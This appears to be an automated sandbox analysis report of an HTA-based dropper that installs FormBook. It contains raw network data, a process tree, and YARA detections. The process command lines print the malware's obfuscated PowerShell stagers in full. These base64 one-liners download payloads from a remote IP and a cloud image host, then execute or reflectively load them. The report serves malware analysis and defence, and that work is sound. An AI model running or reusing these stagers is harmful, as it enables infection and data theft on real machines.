52 6c 42 49 58 63 4e 36 6b 72 57 7a 73 35 66 48 64 5a 51 38 6e 33 42 37 34 30 52 4b 70 36 34 57 37 54 37 38 77 45 75 4b 71 6b 35 74 58 Data Ascii: 1KqLY7yqGGYiGzjlm2GD/pBLnHy3plqftvZS+ZlRy/juZZa3j8EBAxHjPg/7Vesevjh6adbLQRCC9322qq8xkBlTcvFzt0spgvBv75fBCpuKoIucKW3iBSociHoH4E7S7EqzKLErl4JyFVvx5PM6xGchvrr3fr2J3N9H0GyeVhuiElorc441k/er1X7tFzNzGHGnOuHuIuhDfZ8i/TRlBIXcN6krWzs5fHdZQ8n3B740RKp64W7T78wEuKqk5tX
2024-12-13 06:38:50 UTC	1369	IN	Data Raw: 57 79 37 50 33 33 51 45 62 53 61 63 34 48 35 4f 41 7a 37 77 79 6b 52 6b 74 79 68 72 51 45 77 4f 4d 6f 78 36 75 34 75 2b 50 68 65 6e 41 35 45 6c 77 54 4e 79 4b 48 30 4a 32 78 62 73 75 4e 71 37 78 69 39 4f 6a 74 49 49 44 62 53 6a 35 61 66 55 71 67 6c 2f 56 4c 62 6d 46 50 38 37 59 32 53 44 48 59 56 64 48 42 78 70 38 52 7a 4f 53 6f 73 47 70 62 31 41 78 71 55 54 41 63 76 44 77 65 66 71 77 6d 68 44 34 44 2b 71 44 70 65 44 37 4c 6f 6e 6a 41 70 52 2b 35 56 6e 6d 6a 35 74 37 38 79 59 4c 31 4a 6c 61 43 6a 6d 36 34 79 35 76 38 70 59 30 79 67 72 67 58 6b 65 39 74 36 32 54 74 41 58 56 36 77 41 71 45 2f 47 74 38 52 4d 47 76 38 4b 34 74 68 30 5a 45 31 2b 4c 4f 56 44 79 77 30 79 69 6f 6f 62 64 6a 33 45 77 51 44 32 62 67 55 61 58 4b 65 54 44 63 72 64 75 4b 47 75 55 61 52 Data Ascii: Wy7P33QEbSac4H5OAz7wykRktyhrQEwOMox6u4u+PhenA5ElwTNyKH0J2xbsuNq7xi9OjtIIDbSj5afUqgl/VLbmFP87Y2SDHYVdHBxp8RzOSosGpb1AxqUTAcvDwefqwmhD4D+qDpeD7LonjApR+5Vnmj5t78yYL1JlaCjm64y5v8pY0ygrgXke9t62TtAXV6wAqE/Gt8RMGv8K4th0ZE1+LOVDyw0yioobdj3EwQD2bgUaXKeTDcrduKGuUaR
2024-12-13 06:38:50 UTC	1369	IN	Data Raw: 46 56 75 58 4a 78 76 69 69 76 56 6c 48 7a 63 43 39 50 73 67 68 51 72 41 49 7a 78 33 45 71 2f 4b 72 56 49 7a 53 66 76 67 61 39 35 48 68 5a 63 52 50 34 4e 7a 4a 62 2f 66 61 33 57 6d 4e 6c 4c 58 69 76 65 78 47 2f 6e 42 42 7a 72 69 64 4d 75 56 41 45 74 76 72 79 74 77 59 50 30 79 52 49 76 65 6e 49 36 48 6c 58 78 77 51 75 6a 43 4c 6b 6a 70 67 4b 78 46 66 48 73 73 64 67 77 30 70 6c 41 47 34 4c 4a 48 53 59 65 35 4f 77 4f 62 67 6f 37 68 72 62 35 4a 78 4b 46 50 56 75 74 45 32 37 4f 62 77 50 79 33 6b 32 69 2f 2b 36 65 44 72 37 4a 50 57 2f 6b 52 47 49 4b 4f 4b 77 64 74 47 5a 36 2b 45 66 69 6d 34 6c 70 59 57 54 55 6f 67 6c 76 6d 54 42 49 51 2f 6d 59 74 63 35 38 46 53 4f 4c 57 75 63 2f 6a 4a 61 67 33 4a 47 6b 36 64 35 56 35 57 54 48 34 41 79 35 7a 47 77 7a 6a 31 44 35 Data Ascii: FVuXJxviivVlHzcC9PsghQrAIzx3Eq/KrVIzSfvga95HhZcRP4NzJb/fa3WmNlLXivexG/nBBzridMuVAEtvrytwYP0yRIvenI6HlXxwQujCLkjpgKxFfHssdgw0plAG4LJHSYe5OwObgo7hrb5JxKFPVutE27ObwPy3k2i/+6eDr7JPW/kRGIKOKwdtGZ6+Efim4lpYWTUoglvmTBIQ/mYtc58FSOLWuc/jJag3JGk6d5V5WTH4Ay5zGwzj1D5
2024-12-13 06:38:50 UTC	1369	IN	Data Raw: 68 73 31 6d 67 2f 5a 32 70 50 2b 6b 61 59 2b 75 4b 36 4d 76 65 79 5a 62 73 69 4c 41 36 48 70 36 72 39 36 4f 66 4a 5a 37 34 48 69 49 42 62 56 4d 35 6c 36 6e 4f 50 45 2b 50 71 42 36 45 43 77 42 35 2f 70 50 52 41 55 30 68 31 6e 65 6f 47 77 44 69 63 37 4a 38 67 38 33 31 38 6b 35 4b 73 4a 37 59 34 4c 62 56 68 41 70 30 4a 48 79 4f 38 58 2f 71 6d 38 56 39 2f 4f 61 74 41 33 37 36 63 75 37 62 33 52 67 48 6c 52 70 59 70 4f 41 71 62 34 6a 63 72 70 42 62 49 58 33 46 59 66 32 4d 47 7a 64 62 43 76 48 35 4a 71 71 38 33 45 78 44 43 68 4d 67 76 64 4d 63 46 57 32 73 6b 6e 7a 66 79 42 78 6d 2f 38 65 51 72 6e 41 56 76 33 50 42 70 73 4b 4f 59 6d 37 4e 5a 54 48 74 6c 66 41 6c 4f 58 34 78 4c 48 36 64 55 4b 64 32 66 4f 7a 6a 39 44 49 62 33 43 6b 46 38 2f 43 63 53 5a 69 45 33 6a Data Ascii: hs1mg/Z2pP+kaY+uK6MveyZbsiLA6Hp6r96OfJZ74HiIBbVM5l6nOPE+PqB6ECwB5/pPRAU0h1neoGwDic7J8g8318k5KsJ7Y4LbVhAp0JHyO8X/qm8V9/OatA376cu7b3RgHlRpYpOAqb4jcrpBbIX3FYf2MGzdbCvH5Jqq83ExDChMgvdMcFW2sknzfyBxm/8eQrnAVv3PBpsKOYm7NZTHtlfAlOX4xLH6dUKd2fOzj9DIb3CkF8/CcSZiE3j
2024-12-13 06:38:50 UTC	1369	IN	Data Raw: 66 6c 7a 4b 72 35 57 47 30 64 34 4e 53 4f 32 32 48 58 41 35 5a 63 70 36 51 69 33 56 77 31 57 4e 66 6f 34 39 41 47 5a 52 78 70 36 58 48 79 57 39 58 49 71 4e 77 55 74 48 45 63 36 32 50 41 73 70 55 74 30 68 72 52 6d 6e 4d 52 30 41 68 2b 54 36 47 2b 57 4a 50 53 57 45 6f 41 76 6d 6a 61 30 57 48 35 56 31 65 41 6a 6b 67 50 6a 5a 72 64 79 6c 57 46 42 74 42 6d 6c 50 6e 65 54 62 77 2f 54 50 44 72 54 58 69 4d 2b 6f 58 32 67 56 67 75 71 4d 79 33 4d 54 4f 67 35 7a 7a 49 31 69 61 77 39 4b 44 67 6b 34 2b 4e 31 72 45 6f 4e 70 63 66 37 57 78 44 68 65 47 32 51 7a 6b 54 6d 49 68 62 2f 45 59 78 41 46 32 6d 55 6c 4a 53 65 67 76 32 6d 7a 54 4e 61 5a 78 64 6d 41 32 2f 35 39 4d 36 6c 75 68 48 39 50 6e 4e 6e 44 6c 2b 35 43 6b 38 49 41 37 54 50 48 51 2f 70 7a 4b 4e 6b 41 37 31 4e Data Ascii: flzKr5WG0d4NSO22HXA5Zcp6Qi3Vw1WNfo49AGZRxp6XHyW9XIqNwUtHEc62PAspUt0hrRmnMR0Ah+T6G+WJPSWEoAvmja0WH5V1eAjkgPjZrdylWFBtBmlPneTbw/TPDrTXiM+oX2gVguqMy3MTOg5zzI1iaw9KDgk4+N1rEoNpcf7WxDheG2QzkTmIhb/EYxAF2mUlJSegv2mzTNaZxdmA2/59M6luhH9PnNnDl+5Ck8IA7TPHQ/pzKNkA71N
2024-12-13 06:38:50 UTC	1369	IN	Data Raw: 4b 6a 76 38 52 58 74 57 4a 31 30 4c 66 41 2b 52 4c 66 51 6e 74 68 68 68 64 42 45 48 34 41 6f 33 66 51 6e 71 36 2b 61 61 41 68 33 67 4f 6b 30 67 4e 36 6d 6b 45 72 6a 67 65 41 51 64 34 73 52 57 44 6a 75 59 62 35 55 77 5a 32 45 73 67 71 76 45 38 71 73 6b 43 72 42 68 73 4c 4b 47 56 78 74 51 58 64 6f 64 73 6d 4b 67 47 73 30 4e 46 36 4e 50 4e 64 71 66 5a 63 35 52 64 6d 50 6e 68 73 39 76 49 55 6f 6a 6b 31 76 55 58 64 66 68 4c 5a 45 48 50 63 77 32 75 35 76 5a 50 4f 6d 7a 79 44 2f 4e 50 38 32 38 42 35 54 78 61 6c 43 32 33 5a 57 54 63 53 54 48 35 66 35 6b 58 4c 78 75 70 46 78 6e 6a 73 41 2b 42 44 45 64 2b 53 73 54 38 39 50 6c 53 32 6f 35 76 6b 63 62 58 6c 39 57 6d 5a 68 32 49 47 6f 66 45 53 42 51 51 54 50 74 61 6e 36 50 78 55 59 58 65 44 78 51 46 6a 56 35 67 6d 51 Data Ascii: Kjv8RXtWJ10LfA+RLfQnthhhdBEH4Ao3fQnq6+aaAh3gOk0gN6mkErjgeAQd4sRWDjuYb5UwZ2EsgqvE8qskCrBhsLKGVxtQXdodsmKgGs0NF6NPNdqfZc5RdmPnhs9vIUojk1vUXdfhLZEHPcw2u5vZPOmzyD/NP828B5TxalC23ZWTcSTH5f5kXLxupFxnjsA+BDEd+SsT89PlS2o5vkcbXl9WmZh2IGofESBQQTPtan6PxUYXeDxQFjV5gmQ

Target ID:	0
Start time:	01:38:13
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta"
Imagebase:	0xde0000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:38:14
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" "/c POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:38:14
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:38:14
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"
Imagebase:	0x830000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:38:18
Start date:	13/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline"
Imagebase:	0x520000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:38:19
Start date:	13/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC568.tmp" "c:\Users\user\AppData\Local\Temp\j4tmsurx\CSCD8A49667F2D248CBA423D29C56F4A9D.TMP"
Imagebase:	0xab0000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:38:25
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS"
Imagebase:	0xcf0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:38:25
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $claustrophobe = 'JGF1dG9zYXZlID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGNoZW1vdHJvcGlzbSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHF1ZWVmID0gJGNoZW1vdHJvcGlzbS5Eb3dubG9hZERhdGEoJGF1dG9zYXZlKTskcHVua2xpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVlZWYpOyR0dWJlcmN1bG9waG9iaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGZlbXRvY291bG9tYiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVudGhyaWZ0eSA9ICRwdW5rbGluZy5JbmRleE9mKCR0dWJlcmN1bG9waG9iaWEpOyRoYW1tYW0gPSAkcHVua2xpbmcuSW5kZXhPZigkZmVtdG9jb3Vsb21iKTskdW50aHJpZnR5IC1nZSAwIC1hbmQgJGhhbW1hbSAtZ3QgJHVudGhyaWZ0eTskdW50aHJpZnR5ICs9ICR0dWJlcmN1bG9waG9iaWEuTGVuZ3RoOyRwZXRyb2RvbGxhciA9ICRoYW1tYW0gLSAkdW50aHJpZnR5OyRkYXN5YXRpZGFlID0gJHB1bmtsaW5nLlN1YnN0cmluZygkdW50aHJpZnR5LCAkcGV0cm9kb2xsYXIpOyRkaWdpdGFsaXNpbmcgPSAtam9pbiAoJGRhc3lhdGlkYWUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGRhc3lhdGlkYWUuTGVuZ3RoKV07JHVuaWRlYWxpemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGlnaXRhbGlzaW5nKTskY29tbWVuZGluZyA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHVuaWRlYWxpemVkKTskamFwb25pY2FzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGphcG9uaWNhcy5JbnZva2UoJG51bGwsIEAoJzAvY3VWREUvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjb25maWRlbnRpYWxpdHknLCAnJGNvbmZpZGVudGlhbGl0eScsICckY29uZmlkZW50aWFsaXR5JywgJ0Nhc1BvbCcsICckY29uZmlkZW50aWFsaXR5JywgJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJzEnLCckY29uZmlkZW50aWFsaXR5JykpOw==';$uninverted = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($claustrophobe));Invoke-Expression $uninverted
Imagebase:	0x830000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:38:25
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:38:49
Start date:	13/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Imagebase:	0xb80000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2519525934.0000000002D00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.2519525934.0000000002D00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2704949585.0000000004F00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.2704949585.0000000004F00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:38:51
Start date:	13/12/2024
Path:	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe"
Imagebase:	0x100000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	01:38:53
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\ieUnatt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\ieUnatt.exe"
Imagebase:	0xf50000
File size:	122'880 bytes
MD5 hash:	4E9919DF2EF531B389ABAEFD35AD546E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3294394478.0000000004EE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3294394478.0000000004EE0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3294304837.0000000004E90000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3294304837.0000000004E90000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	01:39:06
Start date:	13/12/2024
Path:	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe"
Imagebase:	0x100000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.3296102797.0000000005890000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.3296102797.0000000005890000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	01:39:19
Start date:	13/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 06860FDF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2056508123.0000000006860000.00000010.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6860000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction ID: 3342684b8eed6be1f994b5f3c34db676508a997a900a3f77a0837906f2dd3ff6
Opcode Fuzzy Hash: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction Fuzzy Hash:

Function 06860FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2056508123.0000000006860000.00000010.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6860000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction ID: 3342684b8eed6be1f994b5f3c34db676508a997a900a3f77a0837906f2dd3ff6
Opcode Fuzzy Hash: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 5144, Parent PID: 6036COMMON

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17%
Total number of Nodes:	47
Total number of Limit Nodes:	6

Executed Functions

